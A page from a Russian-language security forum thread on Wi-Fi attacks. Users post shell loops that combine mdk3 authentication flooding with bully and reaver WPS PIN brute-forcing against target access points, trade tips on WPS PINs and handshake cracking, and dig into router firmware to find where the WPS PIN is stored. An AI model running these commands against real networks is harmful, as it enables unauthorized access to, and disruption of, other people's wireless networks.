HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Беспроводные технологии/Wi-Fi/Wardriving
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1551  
Старый 25.01.2014, 20:41
ohoo
New Member
Регистрация: 26.12.2013
Сообщений: 42
Провел на форуме:
16623

Репутация: 0
По умолчанию

while true

do

timeout 15s mdk3 mon0 a -a XX:XX:XX:XX:XX:XX -s 200 -m

sleep 10

timeout -s SIGINT 60s bully -b XX:XX:XX:XX:XX:XX -v 3 -S -C -L -c 1,2,3,4,5,6,7,8,9,10,11,12,13 mon0

sleep 3

done

эта команда от кали линукс а как запустить эту команду в бектреке?
 
Ответить с цитированием

  #1552  
Старый 26.01.2014, 11:25
toro
New Member
Регистрация: 25.10.2012
Сообщений: 82
Провел на форуме:
17712

Репутация: 0
По умолчанию

pin для 10:fe:ed знает кто?
 
Ответить с цитированием

  #1553  
Старый 26.01.2014, 11:32
Z10Y
Новичок
Регистрация: 22.01.2014
Сообщений: 23
Провел на форуме:
5794

Репутация: 0
По умолчанию

Цитата:
Сообщение от toro  

pin для 10:fe:ed знает кто?

Конкретного пина нет! Алгоритмом 16->10 и его модификациями не вычислить! Ищем зависимость а пока что хендшейки лови =)
 
Ответить с цитированием

  #1554  
Старый 26.01.2014, 12:44
toro
New Member
Регистрация: 25.10.2012
Сообщений: 82
Провел на форуме:
17712

Репутация: 0
По умолчанию

Цитата:
Сообщение от Z10Y  

Конкретного пина нет! Алгоритмом 16->10 и его модификациями не вычислить! Ищем зависимость а пока что хендшейки лови =)

поймал куда можно обратиться о помощи помочь расшифровать ?
 
Ответить с цитированием

  #1555  
Старый 26.01.2014, 13:05
Z10Y
Новичок
Регистрация: 22.01.2014
Сообщений: 23
Провел на форуме:
5794

Репутация: 0
По умолчанию

Цитата:
Сообщение от toro  

поймал куда можно обратиться о помощи помочь расшифровать ?

на форуме тема есть... ищи в этом разделе
 
Ответить с цитированием

  #1556  
Старый 26.01.2014, 13:05
user100
Флудер
Регистрация: 24.12.2011
Сообщений: 4,497
Провел на форуме:
884729

Репутация: 373


По умолчанию

Цитата:
Сообщение от toro  

поймал куда можно обратиться о помощи помочь расшифровать ?

Вот сюда.
 
Ответить с цитированием

  #1557  
Старый 26.01.2014, 13:45
vedemur
Member
Регистрация: 12.11.2012
Сообщений: 105
Провел на форуме:
33155

Репутация: 0
По умолчанию

Цитата:
Сообщение от binarymaster  

Сигнал слабый, увеличить задержку перебора.

Если не трудно-объясни какую задержку можно менять и в каких пределах желательно. И ещё-при работе MDK3 переодически пишет, что какая-то частота неизвестная (или не поддерживается) Device is still responding with 2000 clients connected!

Connecting Client: 00:09:5B:02:FF:4C to target AP: A0:F3:C1:58:16:50

Connecting Client: 00:09:5B:5B:17:08 to target AP: A0:F3:C1:58:16:50

AP A0:F3:C1:58:16:50 seems to be INVULNERABLE!

Device is still responding with 2500 clients connected!

Connecting Client: 00:04:5A:2D:80:1A to target AP: A0:F3:C1:58:16:50

Connecting Client: 00:09:7C:E9:6D:92 to target AP: A0:F3:C1:58:16:50

AP A0:F3:C1:58:16:50 seems to be INVULNERABLE!

Device is still responding with 3000 clients connected!

Connecting Client: 00:40:01:86:FD:89 to target AP: A0:F3:C1:58:16:50

Packets sent: 3122 - Speed: 231 packets/sec[X] Unknown frequency '-613135872' reported by interface 'mon0'. Это в случае с BULLY. А в случае while true; do timeout -s SIGINT 60s reaver -i mon0 -b XX:XX:XX:XX:XX:XX -vv -N -s /etc/reaver/XXXXXXXXXXXX.wpc -L; sleep 3; timeout 15s mdk3 mon0 a -a XX:XX:XX:XX:XX:XX -s 200 -m; sleep 10; done; получаю как указал в предыдущем сообщении, после которого советуеш увеличить задержку. Заблаговременно спасибо.
 
Ответить с цитированием

  #1558  
Старый 26.01.2014, 18:16
Z10Y
Новичок
Регистрация: 22.01.2014
Сообщений: 23
Провел на форуме:
5794

Репутация: 0
По умолчанию

Люди помощь требуется)

вот что надыбал в последней прошивки роутера ростелекома sagemcom

Код:
var WscDevPin    = '';  
var WscStaPin     = '';  
var WscMode       = '';  
var WscIRMode   = ''; 
var WscAPMode  = '';  
var sessionKey='';  
var WscCfgMethod = '';  
var WscVer2 = '';  
var WscIsForceWpsDisable = '';   
var phy = '';   
var nmode = '';   
var wlWapiAvail = '';  
var preAuthMode;
Вот еще!

Значение берется отсюда wlWscDevPin, как сюда проникнуть кто знает? Может быть есть какой нибудь эмулятор роутера, с возможностью менять mac адрес, просто на него запилить эту прошивку и посмотреть как себя поведет) Но ток мне кажется это фантастика) Что делать?) HELP

PS искал подробности о ejGetWl() но безуспешно(

вся прошивка
 
Ответить с цитированием

  #1559  
Старый 26.01.2014, 19:56
tr1ckyBiT
Member
Регистрация: 21.01.2014
Сообщений: 27
Провел на форуме:
7360

Репутация: 1
По умолчанию

Если прошивка на MIPS Linux, можно попробовать на VMWare поставить ..
 
Ответить с цитированием

  #1560  
Старый 26.01.2014, 20:52
VasiliyP
Постоянный
Регистрация: 30.08.2011
Сообщений: 358
Провел на форуме:
66828

Репутация: 11
По умолчанию

Цитата:
Сообщение от Z10Y  

Значение берется отсюда wlWscDevPin, как сюда проникнуть кто знает?

По этой строке ищется файл libwlmngr.so. Там, в функции wlmngr_getVar, пин читается из nvram, он хранится отдельно от мака.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.